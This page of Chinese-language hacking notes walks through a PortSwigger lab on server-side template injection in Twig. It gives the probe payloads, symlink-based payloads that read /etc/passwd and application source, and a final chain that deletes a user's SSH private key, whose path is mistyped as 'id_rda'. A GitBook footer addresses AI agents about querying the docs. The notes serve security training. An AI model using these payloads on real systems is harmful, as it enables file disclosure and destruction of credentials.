> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-with-custom-exploit.md).
# 带自定义利用的 SSTI
带自定义利用的 SSTI 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 使用自定义利用的服务器端模板注入
该应用程序易受 SSTI 注入攻击。/ 目标是创建一个自定义 **exploit** 它允许你删除 `/home/carlos/.ssh/id_rsa`\*\* 文件。/ 可能与用户连接： `wiener:peter`.
#### 可注入点
该 **昵称** 字段存在漏洞：
```python
}}{{7*7
```
表达式会被求值。
通过触发错误：
```php
}}{{7/a
```
发现所使用的引擎是 **Twig（PHP）**.
#### D 功能的转移
可以通过以下方式定义自定义头像：
```php
user.setAvatar(PATH, 'image/jpg')
```
此机制创建一个 **符号链接** 指向任何可读文件。/ 因此，你可以通过下载该头像来恢复你的内容。
#### 示例
阅读 `/etc/passwd`
```php
user.setAvatar('/etc/passwd','image/jpg')
```
打开图片时即可访问该文件
#### 代码分析 `User.php`
该 `/home/carlos/User.php` 文件显示：
\*\*该 `gdprDelete()` 函数实际上会删除符号链接指向的文件。 \*\*/ 这正是应该用于擦除 `id_rsa`.
```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```
```php
username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
```
#### 操作：删除 `/home/carlos/.ssh/id_rsa`
创建一个指向 Carlos SSH 密钥的符号链接
```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```
通过以下方式触发删除：
```php
user.gdprDelete()
```
该符号链接指向 `id_rsa`/ `gdprDelete()` 会擦除 **目标** 链接 \*\*`id_rsa` 文件被删除。 \*\*
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-with-custom-exploit.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)